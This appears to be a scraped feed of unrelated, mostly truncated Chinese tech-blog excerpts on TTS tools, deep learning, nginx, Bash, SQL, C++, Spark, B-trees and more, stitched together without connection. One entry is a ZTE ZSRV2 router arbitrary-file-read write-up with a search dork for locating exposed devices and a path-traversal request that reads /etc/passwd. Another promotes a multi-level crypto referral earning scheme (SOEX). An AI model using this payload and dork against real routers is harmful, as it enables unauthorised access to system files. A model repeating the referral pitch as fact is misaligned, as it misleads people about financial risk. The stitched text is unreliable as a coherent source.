【原创】edge-tts与基于mpv的edge-playback,使命令行和Python的Text To Speech唾手可得

最近想用Python脚本写一个TTS的小工具。一顿查找下来,发现AI时代手机端上这么普遍的TTS功能,居然在Web上这么稀有。估计都是被云API厂商拿去赚钱了。幸好Edge浏览器还是比较良心地提供了这个功能,不过又是和浏览器紧密结合的。 最终功夫不负有心人,发现了edge-tts与edge-playback,使命令行和Python脚本的Text To Speech唾手可得。先记录下来,找时间再丰富得更详细些。 edge-tts与edge-playback的介绍 https://zhuanlan.zhihu.com/p/703686916 mpv的brew cask安装 https://www.bilibili.com/read/cv37306417/?jump_opus=1 此外,可以用过国内的源为brew加速 https://cloud.tencent.com/developer/article/1614039 都准备好以后,就可以体验功能了 edge-playback --voice zh-CN-YunyangNeural --text "你好"

DevOps学习笔记

记录以下DevOps学习笔记,这里是笔记的入口汇总,可以直观的看到所有的笔记,还没有入口的部分,在下正在努力编写中。 gitlab jenkins docker docker安装 artifactory 1.artifactory安装 2.artifactory使用 计算机网络 1.dns服务器安装 2.dns服务器

第T2周:彩色图片分类

本文为🔗365天深度学习训练营 中的学习记录博客原作者:K同学啊 要求: ●学习如何编写一个完整的深度学习程序 ●了解分类彩色图片会灰度图片有什么区别 ●测试集accuracy到达72% 我的环境: ●语言环境:Python 3.6.5 ●编译器:jupyter notebook ●深度学习环境:TensorFlow 2.6.2 一、前期工作 设置GPU 如果使用的是CPU可以忽略这步 import tensorflow as tf gpus = tf.config.list_physical_devices("GPU") if gpus: gpu0 = gpus[0] #如果有多个GPU,仅使用第0个GPU tf.config.experimental.set_memory_growth(gpu0, True) #设置GPU显存用量按需使用 tf.config.set_visible_devices([gpu0],"GPU") 导入数据 import tensorflow as tf from tensorflow.keras import datasets, layers, models import matplotlib.pyplot as plt # 导入cifar10数据,依次分别为训练集图片、训练集标签、测试集图片、测试集标签 (train_images, train_labels), (test_images, test_labels) = datasets.cifar10.load_data() 归一化 # 将像素的值标准化至0到1的区间内。 train_images, test_images = train_images / 255.0, test_images / 255.0 # 查看数据维数信息 train_images.

SOEX从去中心化的链上社交关系到创收策略

是时候摆脱传统的在线社区,真正进入 Web3 了,利用区块链的力量,并理解社交互动的意义远不止分享内容或复制交易。代币化将赋能参与提升到一个全新的水平,并带来一系列新的机会。 社交网络可以发挥强大的作用,尤其是从交易者的角度来看。将这些连接转移到链上是革命性的一步,对所有参与者都有重大好处。让我们仔细看看链上社区背后的潜力以及实施升级推荐系统的优势。 这将为我们在 SOEX 内实施的新创收框架的好处提供清晰的视角。 社交树应用程序 推荐树已在许多项目中证明了其有效性,通过强调赞赏和奖励忠诚度来帮助培育社区。推荐树以网络效应的概念为基础,是扩大社区、通过推荐激励用户增长的绝佳方式。 这是一种简单的结构——鼓励现有用户邀请新用户,新用户再邀请其他用户,从而形成一个分支或“树状”结构。每个用户都成为一个“分支”,形成一个可以随着更多用户加入而扩展的层级结构。 整个系统基于两个方面:对平台的信任和激励。一般来说,奖励可能包括现金奖励、折扣、免费使用高级功能或增加平台上的收入潜力。 树形结构鼓励病毒式增长,因为每个新用户都会被激励去吸引更多用户,从而扩大平台的覆盖面和用户群。它还经常包含跟踪工具,让用户能够看到他们的推荐树的增长情况,包括每个分支的活动和贡献。这种透明度有助于激励用户进一步发展他们的推荐树。 对于 SOEX 来说,目标是在已经专注于社交互动和社区交易的平台上增加一条创收渠道。这就是我们实施更复杂版本的原因,如下所示。 链上社区资产化 Web3 社交和交易正在稳步推进,带来重要发展。其中之一就是利用区块链技术的独特功能使社区能够共同赚钱。 这意味着推荐现在的意义已经不只是分享邀请码和给予推荐人一次性的小福利了。虽然这种方法一时很流行,但从长远来看,对双方来说都不是高效的。 另一方面,通过提供长期的赚钱机会,我们不仅可以发展我们的社区,还可以让成员继续投资。 链上社区的应用途径 有多种方法可以应用区块链技术来创建、管理和增强链上社区。其中一些已经付诸实践,例如: 将资产(如房地产)代币化并分享产生的收入社区筹款众筹贷款内容创作和策划P2P交易 然而,让这些应用程序适应每个平台的框架和特性也很重要。确保成功的最佳方法是实施一种对所有参与者来说既简单又高度有益的策略。这就是我们在 SOEX 所做的——引入推荐树结构,但在一个全新的层面上,使用两种创新资产,CVT 和 HVT。 链上关系和 CVT CVT 被设计为具有多种优势的复杂资产。除了作为具有价值的资产之外,它还可以创建允许产生收入的互动的链上社区。 您拥有的资产本质上是 SOEX 上的链上社区证书,具有 ENS、SBT 和 TVL 等功能。它使铸币者有权获得 20% 的空投奖励(从铸造 CVT 时释放的 SOEX 中)以及 SOEX 平台内的增值福利。但它还允许发行 HVT(持有者价值代币),这意味着社区领导者可以将他们的成员/追随者纳入这个奖励网络。 CVT 持有者在主导链上关系中的作用 首先,CVT 适合谁?鉴于推荐树结构和 SOEX 的交易驱动方法,CVT 不仅适用于已经拥有追随者网络的人,也适用于希望创建紧密社区的热情交易者和加密货币爱好者。 作为 CVT 持有者,您可以部署 HVT 并分享链上推荐链接,其他人可以使用该链接在您的社区内铸造 HVT。当他们这样做时,您可以从费用中赚取收益,他们开始获得质押奖励。当他们带来自己的推荐人时,您会继续赚钱,最多可达到树系统中的三个级别。 此外,CVT 持有者可以设定 HVT 价格、代币类型、定价曲线和社区 DAO 决议。他们可获得 2.5% 的 HVT 铸造和销毁,以及 16% 的社区内质押奖励。

nginx 部署前端vue项目

文章目录 一、什么是nginx?二、nginx 部署前端vue项目步骤2.1 安装nginx2.1.1 windows环境安装2.1.2 linux环境安装 2.2 打包vue项目 2.3 配置nginx 一、什么是nginx? Nginx是一款轻量级的HTTP服务器,采用事件驱动的异步非阻塞处理方式框架,这让其具有极好的IO性能,时常用于服务端的反向代理和负载均衡。 优点: 支持海量高并发:采用IO多路复用epoll。官方测试Nginx能够支持5万并发链接,实际生产环境中可以支撑2-4万并发连接数。内存消耗少可商业化配置文件简单 除了这些优点还有很多,比如反向代理功能,灰度发布,负载均衡功能等 二、nginx 部署前端vue项目步骤 2.1 安装nginx 2.1.1 windows环境安装 到nginx官方下载系统相关的nginx版本安装 启动命令: cd F:\nginx-1.19.4 start nginx 2.1.2 linux环境安装 通常情况下很少使用windows来作为nginx的服务器,一般使用linux。对于linux安装nginx有两种方式,一种是使用官方已经编译好的包来安装,一种是使用源码构建安装。 第一种方式参考官方地址https://nginx.org/en/linux_packages.html#stable 第二种方式参考官方地址https://nginx.org/en/docs/install.html中的Building from Sources片段,这种实际上就是下一个tar.gz包仍到linux服务去自己编译。 在linux服务上和window环境上使用nginx部署vue项目并没有太大差异,把构建好的vue项目dist上传到linux服务上,通用修改nginx服务器中的root来指向dist就ok了,然后使用 # centos 7 systemctl restart nginx.service # centos 6 service nginx restart # 或者是平滑重启 service nginx reload 2.2 打包vue项目 执行命令 npm run build 2.3 配置nginx 修改nginx配置文件,配置文件为conf下的nginx.conf,修改nginx.conf中的server配置片段 server { listen 80;#默认端口是80,如果端口没被占用可以不用修改 server_name localhost; root E:/vue_project/my_project/dist;#vue项目的打包后的dist location / { try_files $uri $uri/ @router;#需要指向下面的@router否则会出现vue的路由在nginx中刷新出现404 index index.

iPhone出现4013错误的和解决方案分享

在苹果设备用户群体中,遇到iTunes错误4013是一个颇为棘手的问题。这个错误通常发生在尝试更新iOS系统、恢复iPhone或iPad时,导致操作无法顺利完成。本文将为你提供一系列实用的解决方案,帮助你摆脱iPhone 4013错误的困扰。 一、了解错误4013的本质 错误4013通常表明iPhone与iTunes之间的通信出现了问题,可能是由于硬件连接不稳、软件冲突、iTunes版本过旧或设备存储空间不足等原因所致。理解这一本质,是我们找到解决之道的第一步。 二、检查并优化硬件连接 1. 更换USB线缆:首先,尝试使用不同的USB线缆连接iPhone和电脑,确保线缆没有损坏且质量可靠。 2. 更换USB端口:将iPhone连接到电脑上的另一个USB端口,特别是使用电脑后部的USB接口,这些接口通常更加稳定。 3. 清理接口:检查并清理iPhone的Lightning接口,确保没有灰尘或异物影响连接。 三、更新与重启 1. 更新iTunes:确保你的iTunes是最新版本。过时的iTunes可能与当前iOS版本不兼容,导致错误4013。 2. 重启设备:有时候,简单的重启可以解决许多看似复杂的问题。同时按住iPhone的电源键和Home键(或侧边按钮,取决于你的设备型号),直到设备重启。 3. 重启电脑:同样,重启你的电脑也可以帮助清除临时文件和缓存,改善与iPhone的连接。 四、清理存储空间 确保iPhone有足够的存储空间进行更新或恢复。如果存储空间不足,可能会导致错误4013。你可以通过删除不常用的应用、照片和视频来释放空间。 五、使用专业修复工具 如果上述方法都无法解决问题,你可以考虑使用专业的手机系统修复工具。这些工具能够深入系统底层,修复各种软件故障。例如,牛学长苹果手机修复工具标准修复可以在保持手机数据的同时修复各种iOS系统相关的问题,包括未知错误9006、未知错误1110、iPhone13粉屏、iPad无法充电、白苹果等系统问题。 修复步骤如下: 第1步:下载并安装好牛学长工具,通过数据线连接设备与电脑。连接成功后,软件将会自动识别电脑。点击“修复iOS系统问题”。 再选择点击“标准修复”,点击下载固件。软件默认提供最新版iOS系统固件。 第2步:固件下载成功后,点击“开始修复”,即可开始自动修复。 第3步:等待修复完成,整个修复升程大概需要10分钟,注意操作过程中不要断开数据线,等待显示“修复完成”即可完成系统修复。 六、进入DFU模式 如果所有软件方法都尝试过仍无效,你可以尝试将iPhone进入DFU(设备固件更新)模式进行修复。DFU模式是一种特殊的恢复模式,允许设备在没有加载iOS的情况下与iTunes进行通信。但请注意,这种方法可能会清除设备上的所有数据,因此在使用前务必做好备份。 七、联系苹果支持 如果以上所有方法都无法解决你的问题,可能是硬件故障导致的。此时,建议你联系苹果官方客服或前往苹果授权维修点进行检测和维修。 结语 遇到iPhone 4013错误时,不必过于焦虑。通过仔细检查硬件连接、更新软件、清理存储空间以及使用专业修复工具等方法,你很有可能自己解决这个问题。如果问题依然存在,及时寻求苹果官方的帮助也是一个明智的选择。希望本文能够为你提供有价值的帮助,让你的iPhone重新焕发生机。

Shell教程_在Bash_Shell中使用for循环详解

Shell教程_在Bash_Shell中使用for循环详解 在编程语言中, 循环是必不可少的组件, 当您想要一遍又一遍地重复代码直到满足指定条件时使用。 在 Bash 脚本中, 循环扮演着几乎相同的角色, 并用于自动执行重复性任务, 就像在编程语言中一样。 在 Bash 脚本中, 有 3 种类型的循环: for 循环、while 循环和 until 循环。这三个用于迭代值列表并执行一组给定的命令。 在本指南中, 我们将重点介绍 Linux 中的 Bash For 循环。 for 循环语法 如前所述, for 循环遍历一系列值并执行一组 Linux 命令。 for 循环采用以下语法: for variable_name in value1 value2 value3 .. n do command1 command2 commandn done 现在让我们检查 Bash 中 for 循环的几个示例用法。 for 循环示例 在最简单的形式中, for 循环采用以下基本格式。在此示例中, 变量 n 遍历一组用花括号括起来的数值, 并将它们的值打印到标准输出。 for n in {1 2 3 4 5 6 7}; do echo $n done 带有范围的 for 循环 在前面的示例中, 我们明确列出了要由 for 循环迭代的值, 效果很好。但是, 您只能想象如果您要迭代 (例如, 一百个值), 那将是一项多么繁琐和耗时的任务。这将迫使您键入从 1 到 100 的所有值。

期权权利金要多少?期权保证金和权利金有什么区别?

今天带你了解期权权利金要多少?期权保证金和权利金有什么区别?期权交易中,保证金和权利金是两个核心概念,它们在交易过程中扮演着不同的角色。 期权权利金一般是多少? 期权的买方叫权利金、期权的卖方叫保证金,关于权利金。大家理解为交易成本即可,就是你的买入开仓成本。买入开仓合约的张数合约单价。 如果是买方,需要的权利金不多,根据是虚值期权还是实质期权,一手的权利金价格从几十元到几千元。如果是卖方,就要缴保证金,需要的资金要大点,一般是2000元以上,最高可能回到5000元甚至更高,这个是变动的。 期权交易中的“保证金”和“权利金”是两个重要的概念,它们在功能和用途上有明显的区别: 1.期权权利金: 权利金是期权买方支付给卖方的费用,以获得期权合约的权利。这是一次性的支付,一旦支付后,买方就拥有了根据期权合约在未来某个时间以特定价格买入或卖出标的资产的权利。 权利金的大小通常取决于多种因素,如标的资产的当前市场价格、执行价格、到期时间、标的资产的波动性以及市场的利率等。 2.期权保证金: 保证金是期权卖方(尤其是裸卖方)需要在账户中存放的一定金额的资金,用以确保他们能履行期权合约的义务。这是一种风险管理措施,以防止期权卖方因资金不足而无法执行合约。 保证金的金额通常由交易所或经纪商根据期权的潜在风险来设定,可能会随市场条件的变化而调整。 简而言之,权利金是买方为获得期权而支付的费用,而保证金是卖方为确保能履行合约而需要冻结在账户中的资金。两者都是期权交易中非常重要的金融机制,但扮演的角色和目的不同。 以上就是“期权权利金要多少?期权保证金和权利金有什么区别?”的全部内容,希望本文能给您带来帮助,在未来市场交易中收获满满,财源广进!

机床采集网关在汽车智能工厂中的应用及成效-天拓四方

随着工业4.0的浪潮席卷全球,智能化、数字化成为了制造业转型升级的关键词。在这一背景下,机床采集网关以其强大的数据采集、传输和处理能力,为企业的数字化转型提供了强有力的支持。本文将通过一个实际案例,详细介绍机床采集网关在智能工厂中的应用及其带来的显著成效。 一、案例背景 某知名汽车零部件制造企业,拥有大量不同型号、不同品牌的数控机床。由于设备型号多样、通信协议各异,导致企业在数据采集、管理和分析方面遇到了诸多挑战。传统的数据采集方式效率低下,数据准确性难以保证,严重制约了企业的生产效率和产品质量。 二、解决方案 为了解决上述问题,该企业引入了机床采集网关。该网关具有以下特点: 多协议支持:网关支持多种通信协议,能够适配不同型号的数控机床,实现数据的统一采集。这大大简化了数据采集的复杂性,提高了数据采集的效率和准确性。 实时传输:网关采用高速数据传输技术,确保数据的实时性和准确性。这使得企业能够实时监控机床的运行状态,及时发现并解决生产过程中的问题。 数据处理:网关内置数据处理模块,能够对采集到的数据进行清洗、转换和存储,为后续分析提供便利。通过数据预处理,企业可以更加精准地掌握生产进度和设备运行状态。 三、实施过程 在实施过程中,该企业首先对厂区内的数控机床进行了全面调研,确定了机床的型号、通信协议以及需要采集的数据类型。然后,根据机床的实际情况,定制了合适的机床采集网关,并将其安装到每台机床上。 在数据采集方面,网关通过与机床进行通信,实时采集机床生成的各种数据,如加工参数、运行状态、能耗等。同时,网关还具备数据转换和处理功能,将采集到的原始数据转换为统一格式,并进行初步的分析和筛选。 在数据传输方面,网关采用高速数据传输技术,将经过处理的数据传输到后端数据处理系统或云端服务器进行存储和备份。这使得企业可以随时随地查看机床的运行数据,对生产过程进行远程监控和指导。 四、应用成效 通过引入机床采集网关,该企业取得了显著的成效: 提升生产效率:数据采集效率大幅提升,减少了人工干预和误差,提高了生产效率。同时,通过对数据的分析,企业可以更加精准地掌握生产进度和设备运行状态,及时发现并解决生产过程中的问题。 提高产品质量:机床采集网关可以实时监测设备的运行参数和工艺参数,确保生产过程按照预定的工艺要求进行。这有助于提高产品质量和降低不良品率。 降低运维成本:通过远程监控和控制功能,企业可以实时了解机床的运行状态,提前发现潜在问题并进行处理。这有助于降低设备故障率和维修成本。 五、总结 机床采集网关作为智能制造领域的重要组成部分,为企业的数字化转型提供了强有力的支持。通过多协议支持、实时传输和数据处理等功能,机床采集网关可以实现对机床数据的统一采集、传输和处理,提升企业的生产效率和产品质量。同时,机床采集网关的远程监控和控制功能还可以降低企业的运维成本和提高生产过程的智能化水平。在未来的发展中,机床采集网关将继续发挥重要作用,推动制造业向更高水平发展。

springboot 配置ssl支持https

springboot 配置ssl支持https 以下信息请根据实际情况修改!!! 1. 创建keystore KeyStore是一个用于存储和管理加密密钥和证书的存储库。它通常被用于各种应用和系统中,以保护敏感数据和确保安全通信。KeyStore可以被看作是一种加密的“保险箱”,用于存放密钥、密钥对和证书等安全相关的数据。 通过java的keytool创建keyStore keytool -genkeypair -alias mykey -keyalg RSA -keysize 2048 -keystore keystore.jks -validity 365 -storepass mypassword -keypass mypassword -dname "CN=localhost, OU=MyOrg, O=MyOrg, L=MyCity, ST=MyState, C=MyCountry" 解释各个参数: -genkeypair:生成密钥对(公钥和私钥)。 -alias mykey:指定密钥的别名(在密钥库中引用密钥时使用)。 -keyalg RSA:指定密钥算法(这里是 RSA)。 -keysize 2048:指定密钥大小(位)。 -keystore keystore.jks:指定密钥库文件的名称(如果文件不存在,则创建它)。 -validity 365:指定证书的有效期(天)。 -storepass mypassword:指定密钥库的存储密码。 -keypass mypassword:指定密钥的密码(如果与密钥库密码相同,可以省略)。 -dname:指定证书的主题信息(DN,Distinguished Name),包括通用名称(CN)、组织单位(OU)、组织(O)、城市(L)、州/省(ST)和国家(C)。 2. 在springboot的application.yml配置文件中配置相关内容 server: port: 8443 # HTTPS的默认端口是443,但443端口通常需要管理员权限才能绑定 ssl: key-store: classpath:keystore.jks # 密钥库的位置,相对于classpath 对应keytool生成时的-keystore key-store-type: JKS # 密钥库类型,默认为JKS key-store-password: mypassword # 密钥库密码 对应keytool生成时的-storepass key-alias: mykey # 密钥别名 对应keytool生成时的-alias key-password: mypassword # 密钥别名 对应keytool生成时的-keypass # 如果你使用的是PKCS12密钥库,则需要如下配置,相应信息根据实际情况修改 # key-store-type: PKCS12 # key-store: classpath:keystore.

# 利刃出鞘_Tomcat 核心原理解析(十一)-- WebSocket -- 1

利刃出鞘_Tomcat 核心原理解析(十一)-- Tomcat 附加功能 WebSocket – 1 一、Tomcat专题 - WebSocket - 介绍 1、Tomcat 附加功能:websocket 介绍 1)websocket :是 HTML5 新增的协议,它的目的是在浏览器和服务器之间建立一个不受限的双向通信的通道, 比如说,服务器可以在任意时刻发送消息给浏览器。 2)为什么传统的 HTTP 协议不能做到 websocket 实现的功能? 这是因为 HTTP 协议是一个请求-响应协议,请求必须先由浏览器发给服务器服务器才能响应这个请求,再把数据发送给浏览器。 换句话说,浏览器不主动请求,服务器是没法主动发数据给浏览器的, 这样一来,要在浏览器中搞一个实时聊天,或者在线多人游戏的话就没法实现了,只能借助 Elash 这些插件, 3)也有人说,HTTP 协议其实也能实现啊,比如用轮询或者 comet。 轮询:是指浏览器通过 Javascript 启动一个定时器,然后以固定的间隔给服务器发请求,询问服务器有没有新消息。 这个机制的缺点一是实时性不够,二是频繁的请求会给服务器带来极大的压力。 comet 本质上也是轮询,但是在没有消息的情况下,服务器先拖一段时间,等到有消息了再回复,这个机制暂时地解决了实时性问题, 但是它带来了新的问题: 以多线程模式运行的服务器会让大部分线程大部分时间都处于挂起状态,极大地浪费服务器资源。 另外,一个 HTTP 连接在长时间没有数据传输的情况下,链路上的任何一个网关都可能关闭这个连接, 而网关是我们不可控的,这就要求 comet 连接必须定期发一些 ping 数据表示连接“正常工作"。 2、以上两种机制都治标不治本,所以,HTML5 推出了 websocket 标准,让浏览器和服务器之间可以建立无限制的全双工通信,任何一方都可以主动发消息给对方。websocket 并不是全新的协议,而是利用了 HTTP 协议来建立连接。 3、websocket 连接是如何创建的。 1)首先,websocket连接必须由浏览器发起,因为请求协议是一个标准的HTTP请求,格式如下: 2)该请求和普通的HTTP请求有几点不同: 1.GET请求的地址不是类似 http://,而是以 ws:// 开头的地址;2.请求头 connection:upgrade 和 请求头 upgrade:websocket 表示这个连接将要被转换为 websocket 连接;3.

MS SQL Server partition by 函数实战三 成绩排名

目录 需求 范例运行环境 视图样本设计 功能实现 基础数据展示 SQL语句 继续排序 小结 需求 假设有若干已更新考试成绩的考生,考试成绩包括总成绩、分项成绩1、分项成绩2,其它信息包括应聘岗位名称、姓名等信息。现希望根据总成绩计算排名,成绩越高排名越靠前,相同成绩排名并列,另外有并列则按总数递增,如两个第1后是第3。本文将继续介绍利用 partition by 来实现这一需求,主要实现如下功能: (1)编写视图获取基础数据,包括人员基本信息和考试成绩数据等 (2)通过 partition by 计算排名,得到新的视图 (3)根据其它要求计算新的排名 范例运行环境 操作系统: Windows Server 2019 DataCenter 数据库:Microsoft SQL Server 2016 .netFramework 4.7.2 视图样本设计 视图成绩表 [v_cj] 设计如下: 序号字段名类型说明备注1zwmcnvarchar职位名称应聘的岗位名称,以此进行分区排序2xmnvarchar姓名3kscj1float考试成绩1计算总成绩的一个分项4kscj2float考试成绩2计算总成绩的一个分项5kszcjfloat考试总成绩计算排名的依据 功能实现 基础数据展示 选择数据视图 v_cj,在查询分析器示例如下图: 如图这是随时显示的基础数据(未排序)。 SQL语句 排序的SQL语句,代码如下: select zwmc,xm,kscj1,kscj2,kszcj ,rank() over (partition by zwmc order by kszcj desc) as ranktip from V_cj 运行查询分析器,显示结果如下: 如图框定部分,按最高成绩分值进行倒排序,分值越高排名越高。当成绩相同时则并列排序,下一排序号根据总排序号递增加1,如有两个第6名,则下个排名从第8名开始,以此类推。 关键语句:rank() over (partition by zwmc order by kszcj desc),按 zwmc (职位名称)分区,以kszcj(考试总成绩) 降序排列,rank() 函数起到了排序功能。

移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——9.模板进阶

1.非类型模板参数 之前所使用的模板参数都是用来匹配不同的类型,如 int、double、Date 等,模板参数除了可以匹配类型外,还可以匹配常量(非类型) 我们知道模板参数分为 : 类型形参 与 非类型形参 类型模板形参 : 出现在模板参数列表中,跟在 class 或者 typename 类之后的参数类型名称。 template <class T> // T 为模板参数中的 ---------- 类型模板形参 非类型模板形参 : 就是用一个常量作为类(函数)模板的一个参数,在类(函数)模板中可将该参数当成常量来使用。 template <size_t N> // N 为模板参数中的 ------- 非类型模板形参 注:非类型模板参数必须为常量,即在编译阶段确定值 1.1用 类型模板形参和 非类型模板形参构建泛型、大小可自定义 的数组 template<class T, size_t N> class arr { public: T& operator[](size_t pos) { assert(pos >= 0 && pos < N); return _arr[pos]; } size_t size() const { return N; } private: int _arr[N]; //创建大小为 N 的整型数组 }; int main() { arr<int , 10> a1; // 大小为 10 arr<double , 20> a2; // 大小为 20 arr<char , 100> a3; // 大小为 100 // 输出它们的 类型 cout << typeid(a1).

大数据知识总结(七):Spark重要知识汇总

文章目录 Spark重要知识汇总 一、Spark 是什么 二、Spark 四大特点 三、Spark框架模块介绍 3.1、Spark Core的RDD详解 3.1.1、什么是RDD 3.1.2、RDD是怎么理解的 四、Spark 运行模式 4.1、Spark本地模式介绍 4.2、Spark集群模式 Standalone 4.3、Spark集群模式 Standalone HA 4.4、Spark集群模式 Spark on YARN介绍 4.5、Spark On Yarn两种模式总结 五、Spark应用架构基本介绍 Spark重要知识汇总 一、Spark 是什么 大规模数据处理的统一分析引擎,也可说是分布式内存迭代计算框架。 二、Spark 四大特点 速度快(内存计算)易于使用(支持了包括 Java、Scala、Python 、R和SQL语言在内的多种语言)通用性强(提供了包括Spark SQL、Spark Streaming、MLib 及GraphX在内的多个工具库)运行方式多(包括在 Hadoop 和 Mesos 上,也支持 Standalone的独立运行模式,同时也可以运行在云Kubernetes(Spark 2.3开始支持)上) 三、Spark框架模块介绍 Spark Core(实现了 Spark 的基本功能,包含RDD、任务调度、内存管理、错误恢复、与存储系统交互等模块。数据结构:RDD)Spark SQL(可以使用 SQL操作数据。数据结构:Dataset/DataFrame = RDD + Schema)Spark Streaming(用来操作数据流的 API。 数据结构:DStream = Seq[RDD])Spark MLlib(提供常见的机器学习(ML)功能的程序库。包括分类、回归、聚类、协同过滤等,还提供了模型评估、数据导入等额外的支持功能。 数据结构:RDD或者DataFrame)Spark GraphX(用于图计算的API,性能良好,拥有丰富的功能和运算符,能在海量数据上自如地运行复杂的图算法。数据结构:RDD或者DataFrame)Structured Streaming(结构化流处理模块,针对流式结构化数据封装到DataFrame中进行分析) 3.1、Spark Core的RDD详解 3.1.1、什么是RDD RDD(Resilient Distributed Dataset)弹性分布式数据集,是Spark中最基本的数据抽象,代表一个不可变、可分区、里面的元素可并行计算的集合。

中兴-ZSRV2路由器-任意文件读取

中兴-ZSRV2路由器-任意文件读取 文章目录 中兴-ZSRV2路由器-任意文件读取免责声明漏洞描述搜索语法漏洞复现修复建议 免责声明 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任 漏洞描述 该路由器管理页面的存在任意文件读取漏洞 搜索语法 title=“ZSRV2路由器Web管理系统” 漏洞复现 GET /../../../../../../../../etc/passwd HTTP/1.1 Host: Accept: */* Accept-Encoding: gzip, deflate, br Connection: keep-alive 修复建议 升级到最新版本

【高阶数据结构】B树、B+树、B*树

B树、B+树、B*树 1. 常见的搜索结构2. B树概念3. B树的插入分析4. B树的插入实现4.1 B树的节点设计4.2 B树的部分插入实现14.3 B树的查找4.4 B树的部分插入实现24.5 插入key的过程4.7 B树的插入完整代码4.8 B树的简单验证4.9 B树的删除4.10 B树的性能分析 5. B+树6. B*树7. 总结8. B树的应用8.1 索引8.2 MySQL索引简介8.2.1 MyISAM8.2.2 InnoDB 点赞👍👍收藏🌟🌟关注💖💖 你的支持是对我最大的鼓励,我们一起努力吧!😃😃 1. 常见的搜索结构 内查找 种类数据格式时间复杂度顺序查找无要求O(N)二分查找有序O(logN)二叉搜索树无要求O(N)二叉平衡树(AVL树和红黑树)无要求O(logN)哈希无要求O(1) 外查找 B树系列 以上结构适合用于数据量相对不是很大,能够一次性存放在内存中,进行数据查找的场景。如果数据量很大,比如有100G数据,无法一次放进内存中,那就只能放在磁盘上了,如果放在磁盘上,有需要搜索某些数据,那么如何处理呢?那么我们可以考虑将存放关键字及其映射的数据的地址放到一个内存中的搜索树的节点中,找数据时比较关键字,找到关键字也就找到这个数据在磁盘的地址,然后去这个地址去磁盘访问数据。 但是这样还有一些问题,如果关键字不是整型而是字符串,数据量大了在内存中这棵树存可能存不下。那怎么办? 节点可以不存关键字, 只存对应磁盘的地址。这个时候查找就要拿着地址去访问磁盘然后看关键字是否匹配。这个时候还是一样关键字比当前节点关键字大往右走,否则往左走。每一次比较节点都是一次IO。 但是这里的问题是,要走高度次磁盘IO,因为节点里面只有地址要进行关键字比较就要读一次磁盘。这个时候 AVL/红黑树 就不适合了,都是O(logN),虽然在内存中查找比较快,10亿个数字需要30次。但是在磁盘中如果是30次IO,那就很慢了。还有哈希表,虽然查找说是O(1),但是这个O(1)并不是一次而是常数次,更大的问题是极端场景下哈希冲突可能会非常严重,效率会下降很多。即使哈希表挂的是红黑树还是O(logN)。 使用平衡二叉树搜索树的缺陷: 平衡二叉树搜索树的高度是logN,这个查找次数在内存中是很快的。但是当数据都在磁盘中时,访问磁盘速度很慢,在数据量很大时,logN次的磁盘访问,是一个难以接受的结果。 使用哈希表的缺陷: 哈希表的效率很高是O(1),但是一些极端场景下某个位置冲突很多,导致访问次数剧增,也是难以接受的。 那有没有更好的数据结构能够替代上面的东西呢? B树系列 平衡搜索树基础上找优化空间: B树的思路是这样的,之前AVL/红黑树 存10亿个数据大概需要30层,能不能把高度压缩一下,从30层压缩到几层。如何压呢?很简单是不是让单层存更多是不是进行压缩了。如何让单层存更多呢? 压缩高度,二叉变多叉 注意到一个节点就一个地址,一个地址对应一行数据,那数据多了地址也很多。地址很多内存也是有限的,怎么办? 一个节点存有多个关键字及映射的值 2. B树概念 1970年,R.Bayer和E.mccreight提出了一种适合外查找的树,它是一种平衡的多叉树,称为B树(后面有一个B的改进版本B+树,然后有些地方的B树写的的是B-树,注意不要误读成"B减树")。一棵m阶(m>2)的B树,是一棵平衡的M路平衡搜索树,可以是空树或者满足一下性质: 根节点至少有两个孩子每个分支节点都包含k-1个关键字和k个孩子,其中 ceil(m/2) ≤ k ≤ m ceil是向上取整函数(分支节点,孩子比关键字保持多一个的关系)每个叶子节点都包含k-1个关键字,其中 ceil(m/2) ≤ k ≤ m所有的叶子节点都在同一层每个节点中的关键字从小到大排列,节点当中k-1个元素正好是k个孩子包含的元素的值域划分每个结点的结构为:(n,A0,K1,A1,K2,A2,… ,Kn,An) 其中,Ki(1≤i≤n)为关键字,且Ki<Ki+1(1≤i≤n-1)。Ai(0≤i≤n)为指向子树根结点的指针。且Ai所指子树所有结点中的关键字均小于Ki+1。n为结点中关键字的个数,满足ceil(m/2)-1≤n≤m-1。 Ai是指向孩子的指针,Ki是关键字,从每个结点的结构上我们就可以看到孩子的数量比关键字多一个。

【动态规划】子数组系列二(数组中连续的一段)

子数组系列一(数组中连续的一段) 1.等差数列划分2.最长湍流子数组3.单词拆分4.环绕字符串中唯一的子字符串 点赞👍👍收藏🌟🌟关注💖💖 你的支持是对我最大的鼓励,我们一起努力吧!😃😃 1.等差数列划分 题目链接: 413. 等差数列划分 题目分析: 如果一个数列 至少有三个元素 ,并且任意两个相邻元素之差相同,则称该数列为等差数列。返回数组 nums 中所有为等差数组的 子数组 个数。 算法原理: 1.状态表示 经验 + 题目要求 以 i 位置为结尾,巴拉巴拉。 题目要求,求数组中为等差数组的子数组个数,也就是子数组中有多少个等差数列 dp[i] 表示:以 i 位置元素为结尾的所有子数组中有多少个等差数列。 2.状态转移方程 如果[a, b, c, d]已经构成一个等差数列,d后面在加一个e,与c、d、e构成等差数列,[a, b, c, d, e]也是构成等差数列。 dp[i] 表示:以 i 位置元素为结尾的所有子数组中有多少个等差数列。子数组要求是连续的,所以求 i 位置,要先去看 i -1 和 i - 2 的位置。 i - 2 位置元素设为a,i - 1 位置元素设为b、i 位置元素设为c 先考虑a、b、c是否构成一个等差数列。 如果abc能构成一个等差数列,那就是以ab为结尾的等差数列后面在加一个c,这些数列也是构成一个等差数列,以ab为结尾就相当于以b为结尾,以b为结尾的等差数列,就在dp[i-1]存着。别忘记 abc也能构成一个等差数列。 abc不能构成一个等差数列,即使a前面能构成等差数列,但是与 i 位置不连续,因此就构不成以 i 位置为结尾的等差数列 3.初始化 这里我们可以直接把dp[0] = dp[1] = 0

GO 下载依赖改成国内代理

改成我们国内可用的代理地址 在命令提示符输入: 1 go env -w GOPROXY=https://goproxy.cn 然后再做各种操作就可以成功了 另外一个问题: 手动下载某些依赖包,但是goland一直无法识别。 删掉了GOPATH多余的路径。 另外,启用了一下Go Modules。 然后就好了。 以上就是golang提示dial tcp 172 .217.163.49:443: connectex: A connection attempt failed解决的详细内容,更多关于golang提示dial tcp的资料请关注脚本之家其它相关文章!

windows下mysql启动失败无报错(已解决)

